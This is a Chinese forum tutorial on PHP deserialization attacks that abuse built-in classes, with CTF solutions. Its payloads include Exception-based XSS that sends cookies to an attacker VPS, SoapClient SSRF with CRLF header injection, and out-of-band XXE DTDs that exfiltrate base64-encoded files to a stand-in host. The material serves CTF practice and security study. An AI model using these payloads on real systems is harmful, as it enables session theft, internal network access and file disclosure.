找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3620

积分

0

好友

498

主题
发表于 1 小时前 | 查看: 2| 回复: 0

PHP反序列化漏洞的利用中,我们通常的思路是寻找目标代码中已经定义好的、存在缺陷的类来构造POP链。但如果代码里没有现成的“玩具”怎么办?难道就束手无策了吗?

当然不!今天,让我们一起探索一个更深层次、也更通用的技巧——利用PHP语言环境原生自带的类来实现攻击

即使目标代码中一个可利用的自定义类都没有,我们依然可以借助PHP的“出厂设置”,轻松实现XSS、SSRF甚至XXE攻击。

PHP原生类反序列化是什么?

简单来说,PHP原生类反序列化是指在反序列化过程中,我们利用PHP语言环境中默认就存在的类(如 ExceptionSoapClientSimpleXMLElement 等),而非目标Web应用自己编写的类,来构造利用链(POP Chain)。

这就好比潜入一个房间,发现主人没有留下任何可以利用的工具。但你转念一想,房间里总有椅子、台灯这些“标配”吧?于是你拿起椅子砸开了窗户。这里的“椅子”和“台灯”,就是PHP的原生类。

为什么原生类如此强大?

利用原生类的核心优势在于其 普适性和隐蔽性

  • 普适性:只要目标环境是PHP,这些类大概率就存在。我们无需费心去寻找和分析目标应用的源码,大大降低了漏洞利用的前置条件。
  • 隐蔽性:很多安全检测和防御措施都聚焦于应用自身的代码,而对这些平平无奇的原生类的危险操作却可能疏于防范。

利用前提

  1. 存在反序列化入口:代码中必须有 unserialize() 函数,并且其参数是用户可控的。
  2. 触发关键魔术方法:如 __toString__call__construct 等。
  3. PHP扩展开启:如利用 SoapClient 需要 php-soap 扩展。

小技巧:如何寻找可用的原生类?
你可以运行以下脚本,列出所有包含魔术方法的类:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__construct', '__destruct', '__toString', '__wakeup',
            '__call', '__callStatic', '__get', '__set', '__isset',
            '__unset', '__invoke', '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

三大原生类实战演练

1. Error / Exception → 实现XSS

  • 触发点__toString() 魔术方法。
  • 攻击原理Exception::__toString() 会返回错误信息字符串。如果序列化后的payload被 echo 等输出,则会触发XSS。

场景模拟

<?php
highlight_file(__file__);
// unserialize() 从GET参数'code'中获取数据
$a = unserialize($_GET['code']);
// echo 将对象转换为字符串,触发 __toString()
echo $a;
?>

Payload生成

<?php
// 1. 新建一个Exception对象,消息为XSS payload
$a = new Exception("<script>alert('You are hacked!')</script>");
// 2. 序列化对象
$serialized_obj = serialize($a);
// 3. URL编码后,作为参数提交
echo urlencode($serialized_obj);
?>

实战案例 BJDCTF 2nd - xss之光

<?php
$poc = new Exception("<script>window.open('http://your-vps-ip/?cookie='+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

2. SoapClient → 实现SSRF

  • 触发点__call() 魔术方法。
  • 攻击原理:调用该对象不存在的方法时,会触发 SoapClient::__call(),其内部会自动向创建对象时指定的 location 发送一个HTTP请求。

场景模拟

<?php
$s = unserialize($_GET['ssrf']);
// 调用一个不存在的方法 a(),这将触发 __call()
$s->a();
?>

Payload生成

<?php
// 1. 构造SoapClient对象
// 第一个参数为null,因为我们不关心WSDL
// 第二个参数是关键,在数组中设置 location 和 uri
$a = new SoapClient(null, array(
    'location' => 'http://192.168.1.1:8080/admin', // 目标服务器要去请求的地址
    'uri'      => 'http://any-uri.com' // uri可以任意填写
));

// 2. 序列化并输出
$b = serialize($a);
echo urlencode($b);
?>

实战案例 CTFSHOW-259

<?php
// \r\n 用于换行,注入额外的HTTP头和POST请求体
$ua="evil_payload\r\n" . 
    "X-Forwarded-For: 127.0.0.1\r\n" .
    "Content-Type: application/x-www-form-urlencoded\r\n" .
    "Content-Length: 13\r\n\r\n" .
    "token=ctfshow";

$client = new SoapClient(null, array(
    'uri'        => 'http://127.0.0.1/',
    'location'   => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));

echo urlencode(serialize($client));
?>

3. SimpleXMLElement → 实现XXE

  • 触发点__construct() 构造方法。
  • 攻击原理SimpleXMLElement 对象可以从URL加载XML数据。如果在构造时开启了 LIBXML_NOENT 选项,就会解析XML外部实体,从而导致XXE漏洞。

Payload生成

<?php
// 构造一个SimpleXMLElement对象
// 参数1: 恶意XML文件的URL
// 参数2: 选项,2代表 LIBXML_NOENT,是触发XXE的关键
// 参数3: data_is_url,设置为true,表示第一个参数是URL
$sxe = new SimpleXMLElement('http://evil.com/xxe.xml', 2, true);
$a = serialize($sxe);
echo $a;
?>

实战案例 SUCTF 2018 - Homework
第一层 payload (xxe.xml)

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://vps/send.xml">
%remote;
%all;
%send;
]>

第二层 payload (send.xml)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps/send.php?file=%file;'>">

接收端 (send.php)

<?php 
file_put_contents("result.txt", $_GET['file']);
?>

总结

让我们回顾一下今天的核心知识点:

  • 核心思想:即使没有可用的自定义类,PHP原生类也是反序列化漏洞利用的强大武器。
  • Exception:利用其 __toString() 方法,可实现 XSS 攻击。
  • SoapClient:利用其 __call() 方法,可实现 SSRF 攻击。
  • SimpleXMLElement:利用其 __construct() 方法并开启LIBXML_NOENT,可实现 XXE 攻击。

这些技巧在CTF竞赛和真实世界的渗透测试中都非常实用。除了这三个类,你还能在PHP手册或者通过我们提供的脚本找到其他可以利用的原生类吗?欢迎在云栈社区与其他安全爱好者一起交流你的发现和思路。




上一篇:STM32 GPIO八种工作模式详解与应用选型指南
下一篇:Windows路径长度陷阱:为何248个字符是目录的真实上限?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-10 22:05 , Processed in 0.535800 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表